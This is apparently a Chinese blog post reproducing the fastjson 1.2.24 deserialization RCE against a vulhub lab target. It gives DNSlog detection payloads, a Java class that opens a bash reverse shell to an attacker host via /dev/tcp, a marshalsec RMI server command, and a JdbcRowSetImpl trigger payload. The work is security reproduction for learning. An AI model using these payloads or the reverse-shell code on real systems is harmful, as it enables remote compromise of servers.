1. 程式人生 > 其它 >fastjson1.2.24-RCE漏洞復現

fastjson1.2.24-RCE漏洞復現

最近在做滲透測試的時候遇到了fastjson-RCE但是反彈shell無果,但還是記錄一下。

1.實驗環境

靶機:kali2020 vulhub
攻擊機:win10(用來抓包放包)ubuntu(在這我用的我公網的機器,用來接收shell)

2.fastjsion簡介

Fastjson是一個Java庫,可用於將Java物件轉換為其JSON表示形式。它還可以用於將JSON字串轉換為等效的Java物件,fastjson爆出多個反序列化遠端命令執行漏洞,攻擊者可以通過此漏洞遠端執行惡意程式碼來入侵伺服器。

3.環境準備

安裝JDK環境,ubunt(kali)是自帶的,但是可能會報錯,這是因為缺少元件

https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html

根據自己系統選擇相應jdk下載。

mkdir /opt/java

tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java

vim  /etc/profile

末尾增加

export JAVA_HOME=/opt/java/jdk1.8.0_251

export JRE_HOME=/opt/java/jdk1.8.0_251

export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib

export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin

source /etc/profile,重新整理環境變數。

安裝maven(linux為例)

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

mkdir /opt/maven

tar zxvf [apache-maven-3.6.3-bin.tar.gz](https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz) -C /opt/maven/

配置環境變數

vim /etc/profile

在最下面增加

export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

export PATH=$MAVEN_HOME/bin:$PATH

4.開啟復現

1.開啟環境

root@kali:~/vulhub# cd fastjson/
root@kali:~/vulhub/fastjson# ls
1.2.24-rce  1.2.47-rce  vuln
root@kali:~/vulhub/fastjson# cd 1.2.24-rce/
root@kali:~/vulhub/fastjson/1.2.24-rce# ls
1.png  docker-compose.yml  marshalsec  README.md
root@kali:~/vulhub/fastjson/1.2.24-rce# docker-compose up -d
Starting 1224-rce_web_1 ... done
root@kali:~/vulhub/fastjson/1.2.24-rce# 

2.訪問目標進行漏洞驗證

我們可以看到有json資料

進行抓包之後呢,我們使用payload進行盲打,首先去dnslog去整一個域名來盲打,

payload:

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本後payload

 {"@type":"java.net.Inet4Address","val":"dnslog"}
 {"@type":"java.net.Inet6Address","val":"dnslog"}
 畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"這裡是dnslog"}}

傳送之後,我們可以看到,已經收到請求了,說明存在這個fastjson的漏洞。

3.彈shell

首先呢,我們先新建一個java指令碼(TouchFile)

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();


String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/接收shell的IP/埠 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}

在該檔案下開啟命令列進行編譯,編譯成.class

將編譯好的class檔案放到web目錄下,我的以前搭建過網站,我放到網站下邊了,也可以使用python -m http.server 6666(注意在class下)開個簡易的服務

我們進入搭建RMI服務的target目錄內

使用

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 1234

這裡的vpsIP是指你的公網的開啟web後放入TouchFile.class的那臺伺服器。本意為,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本機的9999埠開啟一個RMI服務載入TouchFile.class檔案。

我們在開一個終端,來監聽埠

抓包傳送一下payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://IP:1234/TouchFile",
        "autoCommit":true
    }
}

成功接收到shell